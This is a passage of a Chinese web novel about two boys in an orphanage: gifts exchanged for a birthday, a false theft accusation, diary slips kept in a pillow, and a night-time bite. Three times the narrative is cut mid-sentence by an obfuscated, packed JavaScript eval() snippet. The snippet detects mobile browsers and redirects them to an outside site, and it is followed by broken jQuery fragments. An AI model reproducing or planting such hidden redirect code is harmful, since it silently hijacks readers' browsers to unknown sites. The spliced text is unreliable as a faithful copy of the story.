于南慢慢说:“有的人家就是一直都没有过生日的习惯,因为有点儿迷信,觉得生下来是受苦的,没什么好庆祝的,所以也不会特意去记是哪天出生的。” 迟雾松了口气,问,“那你户口本上写的是哪天?” 书上说,可以通过互送礼物来联络感情。 最近没什么节日,只能寄托在生日上了。 迟雾已经想好他要送什么了。 “还要很久才到那天吗?”迟雾问。 他又觉得自己这么问太明显,亡羊补牢式地补充了句:“我不是急着要给你过生日,只是想这么问一下。” 他的声音越来越低。 于南“嗯”了一声,顺着他说:“知道你不会急的。” 迟雾却又学着他的动作,敲敲他的手背,不过动作要更轻,比起敲,更像蹭。 他说:“其实也有点儿急。” 于南垂眼看他贴着自己的手指,笑着说:“我的生日和你是一天。” 迟雾将信将疑地问:“九月三?” “嗯。”于南说:“巧吧。” 迟雾点点头,说:“巧。” 于南出生的时候正是他爹赌的最严重的时候,当时他的出生就像是雾霾天的一场雨,又呛又冷,没人喜欢,也没人主动去提上户口的事,还是后来他长大了点儿,藏不住了才去上的户口。 至于出生日期,也不过是上户口那天的日期。 他的生日,没人记得。 当然,他家那个情况,也没什么过生日的概念,从小到大也就只有在躲避追债的,逃跑路过蛋糕店的时候才会想起来还有过生日这码事儿。 迟雾凑近说:“可是你那天没吃到蛋糕。” 于南一瞬就明白过来他要干什么。 于南顺势说:“是啊,没吃到。” 当天晚上。 迟雾就把他领到走廊尽头的小窗台前,神神秘秘的,还背着手。 于南以为他要掏出来个蛋糕。 结果。 迟雾坐到小窗台上,一手敲了敲玻璃窗。 “叩叩叩——” 外头的小夜窜起来,爪子扒着窗户。 迟雾将窗户打开条缝,冲着小夜吹了个口哨。 然后。 于南就看见小夜抬起两只前爪朝着他一直拜,还在原地转了两圈,像耍杂耍一样。 迟雾喂了小夜几块饼干,然后挑着角度,把身后的东西错位拿出来,就像腾空变出来的一样,很拙劣的手法,但是他做出来,就是不一样。 迟雾把东西放到于南的掌心。 不是蛋糕。 是个布娃娃。 上面的走线有些乱,还有几缕棉絮外露。 布娃娃是个蹲着的小狗,花色的,像是小夜和小土的结合体,小狗的嘴里还叼着个玫瑰,不过玫瑰缝的不大完美,看着像一团布皱巴在一块,勉强算得上是个没完全开的花骨朵。 上面还有些不大明显的补丁,不对,不是补丁,应该是打算用颜色鲜艳的布做些拼接,让玫瑰上的花瓣走向更明显些,结果缝的有些跑偏,布也裁得有些大了,但线都收得紧紧的,将布勒着不许掉下来。 玫瑰花茎上还绣着两个名字。 于南,迟雾。 两个名字的线也走的不大流畅,紧贴在一起,如同两个小人瑟缩着伸出手去触碰彼此,不过“迟雾”的线收的有些松,像是一扯就掉。 迟雾紧张地观察着于南的表情,解释道:“书上说礼物要亲手做的才是用心的,可我只学过做娃娃,我原本没打算绣我的名字的,但书上还说好的礼物要让朋友一看见它就想起你,我只能这样绣名字了,你要是不喜欢就用剪刀把线剪下去就好了。” 小狗娃娃坐立在掌心,表情呆愣愣的。 像迟雾。 于南想。 于南抬头看迟雾。 迟雾坐在窗台上,背后就是隔着玻璃窗的月亮,他思忖片刻,才说:“于南,童话里说娃娃能变成骑士,虽然是假的,但是我希望你也能有一个娃娃。” 假的没关系,但要有。 于南拿着娃娃,觉得走廊的灯有些太亮了,让他觉得自己在迟雾面前就像是赤.裸的,一切情绪都藏不住。于南想往后缩一缩,他也这么做了。 他后退了几步,但走廊一直都是这么亮,哪怕他真缩到另一端尽头也躲不掉。他停在那儿,和迟雾之间有段不近不远的距离。 于南觉得他应该说谢谢。 但他没说,他就是低头看着娃娃,然后再抬头看着迟雾。 迟雾的眼睛像块沙漠里挖出来的宝石,在干涸的夜里,亮着。 弥足珍贵。 于南以前和街巷邻里的小孩儿靠玻璃珠来赚钱的时候,手里攥着一把晶莹剔透的珠子去换一块钱,那时候他对漂亮的定义就是值钱。但现在他对漂亮的定义是,迟雾的眼睛,和那颗缓慢跳动的心。 它怕剧烈的跳动声惊扰别人。 一声声加剧的跳动就像背负上的债,靠钱偿还不清,它索要的是更过分的人情。 一个娃娃而已。 远没必要这么大的反应。 但迟雾就像帽子戏法玩得最出色的魔术师,他总能将一切渺小的事物赋予无限的意义。 哪怕是一杯温水,连续出现在夜里的床头一个月,它也变得特别。 于南还是说了:“……..迟雾,谢谢。” 于南尝试去还。 如果是一个蛋糕,好像就没那么多附加意义,没那么声势浩大,但偏偏是个亲手做的娃娃,一场真小狗表演变出来的假小狗。 还是按着书上所谓“朋友”之间相处规则来的。 朋友。 这个词对于南来说很陌生。 他觉得朋友是最虚伪的,牌桌上的朋友,牌桌下的债主,这是他见的最多的。 但书上的朋友不是这样。 于南不知道该回送什么。 迟雾生日的时候,他还没送礼物。 他要补。 于南发现,迟雾对于数字方面及其敏感,可以说是达到了天才的地步。一堆天文般抽象的堆叠公式中总是能直取要点;在别人眼中无趣冗杂的高数书被他抱在怀里却看得津津有味。好像他大部分时间都用来和这些书接触了。 如果说于南的生活被分割在学校中一部分,那么迟雾就是直接把自己分割成两部分,一部分感性地遵守着社交守则,一部分理性地和数字打交道。 于南好像知道要送什么了。 图书馆角落处桌上放着张空白试卷,底下还垫着两本教材,而试卷正对着的方向坐着两个人,一个于南,一个迟雾。 迟雾面前还放着两本自己的书,一张稿纸。 他算题很快,而且不怎么需要动笔,几乎心算就能完成整张试卷的题目。 因为于南以前上过两年小学,按他的年龄,院长直接给他搞了个初中入学测试卷,按分数折算后给他送到了初二。 他答的很不错,虽然有些题能看懂,考试前临时突击也记了点儿答题技巧,但到底是没有多少基础,分数还是差一点儿。 初二的数学题还好,不算难。 于南做起来很轻松。 学校里发的试卷他也基本都是在笔记本上做过一遍才拿回来,但他发现迟雾的解题思路和大部分人都不一样,不一定是最简单的方法,但绝对是迟雾最习惯的方法,他解起来很快,于南和他一起研究题目的时候也能发现他思路及其清晰,口述那些步骤的时候尾音还在往上扬。 他喜欢学这类东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215111|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于南还找老师多要了两张最近考试的试卷。 迟雾算的答案全对,要说失分,也是失在步骤上,他的思想太跳脱,有时候用笔只能笼统得写出来一部分。 后来迟雾写这些题的步骤时总是写一笔就要自认隐晦地看一眼于南,观察他的表情来判断自己写的对不对。 就像是怕得不到小红花的乖孩子。 作业不多。 于南写完之后就合上笔记本看迟雾解题。 迟雾写字慢吞吞的,每个字都写的格外端正。 于南从书包里抽出本书递给迟雾。 是本课外辅导书,从同学那儿借来的,里面都是些竞赛题。 人和人好像从出生开始就被分隔开放到两片区域,有的还在茫茫然得循规蹈矩地走着有无数分枝的公路,有的人已经选好该走哪条直奔目的地的小路。 于南的同桌就是小路上的人,从小就已经想好要走竞赛的路线,一直接受辅导的的也都是竞赛题,很得数学老师喜欢。 他手里的书都是于南没在图书馆里见过的,想着迟雾应该能喜欢看,就借来了本。 “是什么书?”迟雾怔了怔,以为是于南说的那本叫什么胆大日记的书,结果他惴惴不安地双手接过来时,发现就是本数学书。 迟雾不知道自己为什么松了口气。他翻开书页,发现里面的题都是些从没见过的,很新颖的题型,还记着密密麻麻的解题思路。 于南观察着他的神情,就知道他喜欢。 迟雾还看见第一页上写了个陌生的名字,字龙飞凤舞的,很张扬,他指着那个名字,问:“这是谁?” 于南说:“同桌。” “哦。”迟雾又把书页往后翻了翻,但翻过去没看几眼就又翻回来盯着那个名字,接着问:“这个人好相处吗?” “还好。” 于南和他没怎么交流,两个人都不大爱说话,但相处起来还算不错,安安静静的自然没什么冲突的由头。 迟雾又问:“那你俩现在是好朋友吗?” 别的孩子上学回来之后总会喋喋不休地提起自己在学校新交的朋友、好朋友,于南在学校肯定也会有,他性格那么好。 于南笑了下,说:“你觉得呢。” 迟雾抿抿唇,慢吞吞地说:“是吧,都把写了这么多东西的书给你了,不是好朋友才不会舍得给。” 于南说:“只是借的,明天要还回去。” 听他这么一说,迟雾反倒眼睛亮了亮,终于把捏着的书页给翻过去了,他一边看后面的笔记,一边小声说:“好吧。” 他往后看两页,翻的很快,因为明天就要把书还回去了,急匆匆的,来不及多琢磨,有几道比较费时间的题都在草稿纸上潦草地记了下来。就像长假最后一天匆匆补作业般囫囵吞枣。 于南又拿了本书,碰了碰他的手背。 迟雾扫了眼,而后视线一顿。 另一本,一模一样的书。 迟雾迟疑着接过,发现是本还没拆封的新书。 他的思绪像在旗幡在海面飘,刚扬起来就再次被摁到水下,“这是他特意送你的?” “是送的。”于南停顿了一秒,就看见迟雾唇角明显往下压了压。他眸底闪过一丝笑意,接着说:“但是是我送你的,于南送给迟雾的。” 迟雾盯着他,问:“不骗人?” “嗯。”于南说:“午休时候出去买的。” 迟雾原本扶着另一本书的手彻底松了,摸了摸新书的塑料书封,想了想,又翻到背后看了眼价格。 五十六元。 很贵的书。 于南伸手遮住价格标,将书重新翻回正面,说:“不拆开吗。” 迟雾慢慢抬起眼看他。 于南能猜到他在想什么,主动说:“是生日礼物的回礼,书上不是说了吗,朋友之间要用礼物来联络感情,双方才叫联络。” 迟雾问:“你觉得我们是朋友了?” 从来都是迟雾单方面说漏嘴,于南从来没提过“朋友”的字眼,这还是第一次。 “不是吗。”于南轻声反问。 迟雾连忙应下:“是!” 于南替他把塑料书封勾起来,开了个小口,“打开看看。” 温程安撑腮坐在两人对面,观察着他俩,默默在心里撇嘴。 怎么没人问问他要不要书、有没有好朋友、什么时候过生日啊? 果然好孩子才有人关心。 温程安皱着脸,心底叹了口气,接着看眼前的试卷。 他学习不差,但哪有人喜欢写作业。 不想学习,不想学习,不想学习。 怎么就没有不爱学习的好孩子呢。 温程安认命地攥起笔。 倏地。 走廊一片哗然顺着传进了图书馆。 “妈妈安,小二十丢钱了!” “那是他准备买鸡腿吃的钱!!” 48.第 48 章 丢钱这事儿可大可小,但在孤儿院这种几乎存不下钱的地方,能有笔自己的存款,还丢了,就是天大的事儿,比今天太阳出没出来都重要。 小二十丢钱的事儿就像是被绳子拴着的鸽子,被一群人牵引着在天上活生生遛了好几圈,把整个孤儿院里的孩子都给揪到走廊里,就为找出个公道。 院长站在走廊正中央,身侧围着一堆孩子,其中还有个抓着小布袋淌眼泪的小孩儿,就是那丢了钱的小二十。 小二十用袖子擦了擦眼泪,他力气很重,这么一蹭,脸上的肉也跟着颤了两下。 他说一个字抽一下鼻子,“我好不容易攒了五十块钱,就这么丢了。” 院长蹲下身,伸手替他擦了擦眼角的泪痕,轻声问道:“还记得钱是在哪丢的吗?” 小二十哽咽着说:“放学回来就发现钱不见了,昨天晚上睡觉前还在呢。” “是去上学的时候被人偷走了吧。”有孩子怯懦地冒出脑袋说。 “小二十为了攒钱,一周都没在学校订午饭呢,他都饿瘦了!”又有孩子喊。 温程安看了看小二十那胖的像个球的身材,心底念叨了好几遍沉稳,还是没忍住笑了一下。 还真没看出来哪瘦了。 温程安这么一笑,就有人朝他看过来。 “你笑什么?” 温程安板着脸,简洁道:“想笑。” 迟雾朝他看了一眼,默默地用手抓住于南的手腕,往自己的方向牵了牵。 于南看向他,无声地问:“怎么了?” 迟雾摇摇头,小声说:“没什么。” 停顿一秒。 迟雾又凑到于南耳旁,贴近了点儿,说:“于南,你离他远点儿。” 于南点点头,没问为什么,真就顺着他的话站得更靠近他、远离温程安。 迟雾满意地笑了下,才一点点地松开了于南的手腕,但到底是靠近过,再远离就没那么舍得了,他故意把胳膊贴着于南的胳膊,像是就习惯用那种姿势放着胳膊一样,刻意,又假装没那么刻意。 两人的手臂紧贴在一起。 温度隔着衣服,感受得到。 那群孩子七嘴八舌的,有些吵,院长被围在中间,一时只是那么笑着,没了下一步的引导,像是就打算站在那儿当个没意义的见证,至于其他的都任凭这帮小孩儿去争一般。 迟雾没什么兴趣去听,自顾自地找着话题,先顺着刚才的话解释了下:“我最近看了本心理学的书,里面有人格分裂的病例,我觉得温程安有点儿像。” 迟雾实话实说。 于南问他:“不是说不看心理学的书吗。” 迟雾说:“……..想找你说的那本书来着,没找到,就随便看看。” 不是随便看看。 他只是突然觉得好像没那么了解自己了。 他觉得自己怪怪的。 脑袋里想的和身体做的不一致。 而看关于精神分裂的病例,也是因为他觉得自己有点儿像,但后来仔细看看,发现他的症状轻多了,根本不是生病,他没病,也不会吓着于南了。 于南笑了下。 迟雾看着他笑,好半晌才重新低下头,又说:“以后应该就不会看了,要看你送的那本书,没时间看别的了。” 他郑重其事地像准备研究什么经典名著一样,小小一本书一看就看一辈子,再也不碰别的书。 于南发现,他越和迟雾接触,就越觉得不知道该怎么形容迟雾。 没接触的时候还能简单概括,深入再深入后,反倒觉得用什么词贴到他身上都显得少了。 他只知道,迟雾,有些傻。 不是笨的那种傻,而是呆的那种傻。 像被放在一堆玻璃珠里的水精灵。 于南突然把自己的胳膊往后挪了挪,彻底和迟雾的错开,然后伸出手指精准地勾住迟雾的的小拇指,说:“那还有时间和我一起做题吗,我自己做题有一点无聊,但是只有一个迟雾,怎么办。” 迟雾的视线不受控制地锁到两人勾住的小拇指上,嘴角扬了扬,低声说:“先做题再看书。” 温程安往旁边一扫,就看见这俩人在那儿又开始说悄悄话。 温程安:“……..” 温程安平静地收回视线,扭头去看小二十的圆脸,觉得心平气和多了,果然他就是不喜欢好孩子。 小二十哭起来没完,他像是个安在角落里的小水龙头一样,打开了就没人愿意替他关上,只能在那儿兀自流着。 “妈妈安,我的钱还能找回来吗。” 院长脸上的笑依旧和蔼,她摸了摸小二十的脑袋,说:“会找回来的。” 说罢,她站起身,视线在孩子群里绕了圈,扬声说:“有谁看见过小二十的钱吗?做坏事的孩子可是会被老鼠咬的,是要遭受惩罚的哦。” 等了半晌,无人说话。 院长淡声说:“那么就让妈妈安来亲自找一找吧。” 就在此刻。 有个孩子说:“钱肯定是不上学的孩子拿的。” 不上学的孩子,除了迟雾,只有三两个刚进孤儿院还没来得及安排的孩子。 而这些人里,只有迟雾和小二十是一个房间。 矛头指向谁,一眼便知。 更何况迟雾向来都是被针对的。 迟雾一瞬间就捕捉到朝着自己聚集过来的视线。他下意识地侧了侧身,把自己和于南勾着的手藏到背后,抬起眼一一扫过那些看向自己的视线。 院长收回迈出去的脚,看向迟雾。 迟雾没出声。 他没偷钱,也没必要解释。 只是他勾着于南的手指收紧了些。 温程安站在两人身侧,自然看得清楚他们勾在一起的手指。 于南的手指比迟雾的手指长一些。 温程安又想起于南手指上出现的那个牙印。 他低头看了眼自己的手指。 大家都有手指。 怎么他的就孤零零的。 好孩子的手指头也更招人喜欢吗。 温程安完全陷入自己的小世界里去,根本没打算听那出“丢钱、偷钱”的戏码。他没被抛弃的时候就没缺过钱,对钱没什么意识,也不觉得有什么重要的,丢了就是丢了,这么小题大做就有点无聊了。 他又去观察别的孩子的手指。 视线像钻空子的蛇,无比灵活。 他看见那个站在小二十身边的孩子,用手指扣着裤子口袋。 口袋布料被扣得有些褶皱,还印出来块模糊的痕迹,像是兜里的东西印出来了,是个不大规整的长方形。 像是……..钱。 温程安的视线略过去。 这个手指丑。 果然好孩子的手指头都和别人不一样。 “妈妈安,先找迟雾的床。”有人说:“他是01号,从他的床开始找吧。” 于南感觉到,迟雾勾着自己的力度越来越重,然后突然,就松开了。 迟雾觉得这个世界就是片荒草地,每当他辛辛苦苦挖出来个种子,证明可能这片荒草地没那么差的时候,就要有人用爬犁将地刮出一道道丑陋的横线,还顺道把他捡起来的种子给抢过去碾碎。 那些人已经走了。 他却下意识地看向于南。 迟雾嚅嗫了下嘴唇,解释:“我没偷过东西,他们怀疑我也只是因为……..” 因为什么? 因为他们想怀疑? 那他们为什么就想怀疑他呢? 迟雾尝试组织语言。 失败了。 他的脸白着。 于南却平静地替他补充上: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224506|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为他们都是烂泥巴,爱往人的身上粘。” 于南其实想说些粗鄙的、曾经最常听见的词来形容这些人,又觉得没必要,带坏小孩儿。 他牵着迟雾的手,跟在人群后头。 声势浩大的搜赃就这么开始了。 莫名其妙地开始了。 当然,什么都没搜出来。 迟雾的床很干净,几乎是一览无余。 院长也不过是在床上看了一圈,就要开始看下一个。 但偏偏有人揪着迟雾不放。 他们指着迟雾有些鼓的枕头,说可能藏在这里边了。 院长看了眼迟雾。 但迟雾被于南挡在身后。 她只能看见两个小孩儿牵着的手。 院长又抬起眼看着于南,就发现于南的视线正在每个人的脸上搜刮,如同正义凛然的大法官正在捉刑犯,只不过这个大法官的表情有些冷。 有只手已经拿起迟雾的枕头,眼看着就要摸到枕套的拉链,就像是极度刻薄的情况下逼压着别人退让,却还要得寸进尺地扒下他的遮羞布一样。他们准备扯下枕头的外套。 拉链拉开一半。 于南开口叫:“小二十。” 视线聚集。 小二十朝他看过来。 于南抬起另一只手,指向小二十身侧的孩子。 “他偷的。” 之后乱七八糟的慌张与局促堆叠着砸过来,更加乱套,至于之后院长的惩罚究竟是什么、又怎么宣判就像是写好的脚本,落地的一瞬也宣告着院长的耐心告罄。 于南牵着迟雾从人群穿过去,回到床边,捡起扔到地上的枕头。 枕套已经被扒下去一半,露出里面的棉芯。 于南还看见里面塞着几张纸条。 基本都只露出半截。 上面的字应该写的有些年头的,还是铅笔写的,铅渍被蹭得有些花,看不大清内容究竟是什么。 应该是迟雾的日记。 于南也没多大意外。 他来的第一天迟雾就说过。 那些孩子会翻别人的东西。 迟雾当然会有藏东西的习惯。 于南把枕头套好放到床上。 迟雾站在原地半晌没吭声。 “迟雾。”于南叫他一声,“要哭了?” “没。”迟雾抬起脸,摇摇头。 他只是在想,这些烂泥巴该配什么虫子。 虫子很脏,但是迟雾只能想到这一种惩罚人的方法了。 他们实在是很烦人。 迟雾不在乎被说偷钱,但至少别在于南面前这样。 他想,体面一点。 像那些西装革履的成功人士一样。 他没有西装,他只要显得没那么讨人厌就好了。 迟雾觉得他现在应该哭一场。 因为看于南的表情,他好像有点儿聪明了,能看出来于南在紧张。 于南怕他哭。 但迟雾现在哭不出来。 因为于南挡在他面前,他没什么好哭的了。 于南却紧盯着他的表情,良久,他从兜里掏出来个皱巴巴的一百块钱,是他从家离开的时候拿走的,抽屉里仅剩的一百七十六块钱,是他爹准备下次打牌的时候用的,他全拿走了。 五十九元买书,给迟雾一百,剩下的零钱他留着攒攒。 于南把钱塞到迟雾手里,说:“下次再有人说你偷钱,你就把它拿出来,告诉他们你自己有钱,用不着他们的碎钱。” 于南一字一顿地说:“放心,冤枉迟雾的坏孩子会倒霉的。” 他说到做到。 迟雾愣愣地看着一百块。 他这辈子没见过这么大的钱。 迟雾到底没忍住问:“于南,你这是要买了我吗,书上说买卖人口犯法。” 49.第 49 章 于南彻底笑出了声。 迟雾眨眨眼,又低头看手里皱巴巴的钱,停顿一秒,小声地补充上:“不过悄悄的,我把我送给你就不犯法了。” 他郑重其事地把钱递回给于南。 “钱还你,我自愿把我送给你,免费的。” 钱被放到掌心,于南垂着眼看。 迟雾又小心翼翼地把自己的手搭到上面。 两人的手掌之间隔着钱,又好像什么都没隔,因为迟雾的手很热、很烫,如同一簇火苗兀自得烧,难以忽视。 于南慢慢收拢手掌,攥住迟雾的手。 就像某种交接仪式一样,两人维系着一种纽带关系,但交接人根本控制不住自己的情绪,这场交接仪式里,他们望着彼此,用自己的瞳孔锁住对方,掌纹贴合着。 于南要是一张纸,此刻应该已经被烧焦了。 他说:“不是免费,是无价。” 是现在的他支付不起的。 一个胆小鬼的赤诚。 迟雾把枕套里的纸条都拿出来了。 他俩坐在床头,迟雾一张张地读给于南听。 都是他刚识字的时候为了练字写的日记。 里面没什么内容,大多数都是记录孤儿院里的孩子,今天有谁来了,又有谁走了。 最初孤儿院里的孩子没现在这么多,大概只有十多个,进来的孩子更是少,有些更是养个几天或是几月就被人领回去了,比起抛弃,更像短期寄养。 而且迟雾还记得那些人的装扮,非富即贵。 那时候被领出去的孩子都是到了富贵人家,但和他们接触时,迟雾也能勉强拼凑出,他们本来的家庭也不差。 那时候的孤儿院像是完全不与穷苦人接触一样,只在上流社会做着“生意”。 而来领养孩子的大多都是无法生育的夫人,她们的丈夫陪伴着来挑选孩子。但好巧不巧,被领养回去的孩子总是和丈夫长得有那么点儿想象。 院长将这归结为缘分,缘分促使安丁园捡拾花朵,送出漂亮的花儿。 于南在一旁听着,心里有了个大概轮廓。 私生子合理化。 富人家的龃龉。 现在安丁园里的孩子越来越多,被领养回去的家庭反倒贫富不均。 因为私生子多了,有些富人直接将他们抛弃在孤儿院了,所以就被穷苦人家领养回去了? 或者是,安丁园在以此逐渐扩大规模。 于南是自己找到安丁园的,因为他居住的地方离这儿很近,他只听说过这一家孤儿院,所以就来了。 他只是想找个暂且居住的地方,在麻烦彻底消失前躲避那些追债的。 于南更加确认,安丁园不简单。 尤其是那个院长,她哪怕保持着温和的姿态也让人觉得十分危险,就像是耐心舔着毛发的花豹,尽量维持表面的优雅,私底下的狼子野心却无人察觉。 于南看着迟雾的侧脸。 开始想,那迟雾,又是被谁抛弃的苦果。 他也是被放弃的、不再领回去的孩子吗。 于南伸手碰了碰迟雾的脸,迟雾感觉到他的触碰,扭头看他,停止了读纸条的动作:“那天来的是个很漂亮的孩子,她穿着公主裙,不像被抛弃的……..” 于南笑了下,说:“迟雾,如果有一只小狗被人抛弃了,抛弃他的人再找回来的时候,小狗还要跟那个人走吗。” 迟雾以为他是在说孤儿院里的孩子,迟雾也想过,有的孩子可能是被抛弃了一段时间然后又被后悔了的父母给接了回去,因为有个孩子曾经跟他说过,来接他的新爸爸和旧爸爸一模一样。 迟雾想也不想就摇头,说:“如果小狗聪明,就不会跟那个人走,因为还会被抛弃。” 安丁园里的孩子又被领养的,自然也有再次被退回来的,但这种孩子回来之后通常萎靡不振,长病不起。 成了一株彻底蔫掉的花。 于南得到答案,笑着说:“知道了。” 迟雾不会和别人走。 那么有一天,他带着他走。 迟雾又重新低头看手里的纸条,纸条基本都读完了,都是些过去的笔迹,有些丑,他看着也很费力。 他把纸条全部攥在掌心里,然后通通扔进垃圾桶里,再转头看着于南说,“没有纸条了。” 于南歪了下脑袋,“要重新写吗?” “对。”迟雾得到自己想要的话,弯了弯眼睛,说:“枕头连接着白天和黑夜,里面放点儿自己写的东西才能让梦里的自己也记着现实的生活,这样就能让自己在梦里也和现实中的人接触。” 否则的话,梦里总是黑漆漆一片,很孤独。 所以他写了很多没意义的纸条塞进枕头里。 只想让梦里别那么空荡。 他不想连梦里都那么孤单。 有点可怜。 于南问:“那你要写什么。” “写我俩行吗?”迟雾问。 于南说:“写了之后做梦会梦到我吗。” 迟雾说:“会的。” 他转身抽出张空白稿纸,垫着本硬皮书,开始拿着铅笔一笔一画地在上面写字。 于南偏斜着身子看纸条上的字。 【今天,迟雾把自己送给了于南。】 像是卖身契。 短短一行字。 迟雾把纸条对折再对折,藏进了枕套里。 于南把攥在手里的一百块钱一并塞进枕套里。 看着他的动作,迟雾愣愣的。 于南笑了一下,说:“是给梦里的于南的钱,希望他在梦里也能买下他想要的。” 迟雾下意识地想问:“梦里的于南想要什么呢?”后来又想想,于南怎么会知道梦里的自己是怎么想的呢,便住了嘴,把枕套的拉链给拉上。 他将枕头重新摆好,就看见于南也抽了张稿纸在写,他倾身过去看,“你在写什么。” “写给梦里的于南。”于南说。 就是也要往枕套里塞纸条的意思。 迟雾反应过来,点点头。 但他看于南就写了两笔便停住。 大致扫了眼,上面写的大概只有两三个字,只不过于南写的是连笔,就像是故意要写出来的只给自己看的秘密一样,迟雾看不大懂。 于南把纸条折叠,放进了自己的枕套里。 如果枕头是梦和现实的连接。 那么就让枕头告诉梦里的于南,保护迟雾。 晚上睡前。 迟雾难得辗转反侧。 手边放着于南给他买的书,枕的枕头里还放着写着他和于南名字的纸条。 如果快乐有味道,那迟雾一定被熏得睡不着觉。 迟雾用被子将自己严严实实地盖紧,还将那本书也一起用被子盖上,像怕它冻坏了似的,做完一切,迟雾才慢慢闭上眼。 梦里他好像真梦见于南了。 于南捡起蹲在路边的他,问他愿不愿意跟他走。 迟雾刚想点头答应,一旁就冲出来条狗也扒着于南的裤脚。 那条狗想抢走于南。 迟雾睡得不踏实,侧翻过身。 他这突然一翻身,温程安被吓了一跳,连忙蹲到地上抱着脑袋装死。 等了好半晌。 温程安才重新抬起脑袋,松了口气。 他又扭头看了看床上睡着的于南。 或许是做了个美梦,于南呼吸平稳,面上还带着抹浅淡的笑。 温程安一时就那么呆愣愣地盯着他看。 如果说失眠是对坏孩子的惩罚,温程安觉得自己忍受不了。 睡不着的夜,天上的星星闪烁着,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235633|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就那么盯着窗外的明灭,过去的记忆像虫子一样扭曲着在脑袋里钻。 温程安还是不明白好孩子有什么好喜欢的。 为什么因为他不是好孩子就把他扔到孤儿院了呢。 他妈现在或许已经在国外某一处,又或许根本没走,人还在国内,但不管怎样,他都是被抛弃了的坏孩子,没人要他。 他妈说他爸喜欢乖孩子、好孩子。 他爸已经有个好孩子了。 他没那么好又能怎样呢。 温程安想不通其中联系,他发现自己就是做不出基础题的最差生。 他找不到“好孩子”的界定点,只能依靠着别人来加以辨别。他的世界是没有导向的,只能自己寻找边境线。 如果他以后变好了。 他爸和他妈会后悔吗。 后悔抛弃他。 温程安不知道。 但他好像也没别的能做的了。 被抛弃的人只能叼着留存的最后一点线索往上爬,至于爬不爬得出去,似乎也没那么重要。 他只是不想就这么彻底当个只值得被抛弃的、没什么价值的小孩儿。 温程安木着张脸,想,是因为迟雾咬了于南,所以他们才成为了朋友吗,才有了说不完的悄悄话? 那他俩之间的悄悄话说什么呢。 于南会告诉他怎么成为好孩子吗。 温程安往迟雾的床边靠了靠。 他不敢咬于南,更不敢让于南咬他。 在他看来,于南这个好孩子好像没表面那么乖,有些可怕,非必要还是不要主动惹怒他了。 温程安又伸出手,但这次他的动作很快很轻。 月光下,一道影子渐渐靠近床上熟睡的人儿。 静谧之下,是极度紧张。 于南跟迟雾讲悄悄话。 然后迟雾再跟他讲悄悄话。 四舍五入。 他很快就能知道怎么当好孩子了。 到时候他学的肯定要比之前快很多。 温程安把大拇指伸进了迟雾的嘴里,但还没等他另一只手上去辅助,迟雾就狠狠地咬了下去。 这一咬,几乎一点儿也没留着力气。 温程安瞬间感觉疼痛顺着密密麻麻的神经快速往脑袋里钻,几乎眼前一黑,脑袋“嗡”了一身,他被疼出了一身汗。 他死咬着嘴唇控制自己不叫出声,但手被死死咬着,怎么也抽不回来。 而迟雾在梦里咬住了那只抢于南的狗。 可血腥味却如此真实地弥漫在口腔。 很熏很呛,有些喘不过气。 迟雾还没来得及跑到于南身边,就感觉梦在一点点下塌,他挣扎着醒过来。 然后,就看见了脸色煞白的温程安。 迟雾下意识张开齿关。 温程安连忙抽出手指。 温程安的手指被咬得皮肉深凹下去条血线,甚至能看见一点白,温程安不知道那是不是骨头,他只知道很疼。 血顺着大拇指往地上砸。 一滴。 两滴。 温程安忍耐着将昏的感觉,小声说:“迟雾,你咬了我。” 迟雾牙齿酸麻一片,他被这突如其来的一幕惊得愣着,一时分不清是梦境还是现实。 温程安见他不说话,又凑近了点,把滴血的手指伸给他看,“你咬我比咬于南重多了,现在我们算是朋友了吗?你有悄悄话要跟我讲吗?” 血珠砸到迟雾的脸上,顺着下颚往下流。 锈味弥漫。 温程安尝试给出点儿提示:“于南跟你分享过什么学习诀窍吗,比如怎么那么像个好孩子?” 他的身体已经开始疼得发抖,却还在执拗地问着莫名其妙的问题。 迟雾蹭了下脸上的血。 是凉的。 50.第 50 章 “叩叩叩——” 门从外推开,一身西装的简凌走进来,手里还捏着个棕褐色信封,她踩着高跟鞋走到办公桌前,将信封放到桌上,往前推了推。 李医生坐直身子,拿起信封,将外封拆开。 里面放着十多张照片。 无一例外,里面的主角都是迟雾和于南。 最后几张照片的角度刁钻,像是从天花板上安下的针孔摄像头偷拍的,光线昏暗,环境潮湿,是地下室的廊道。 李医生慢条斯理地翻看了遍照片,才抬眼看了下简凌,问:“迟总有何吩咐?” 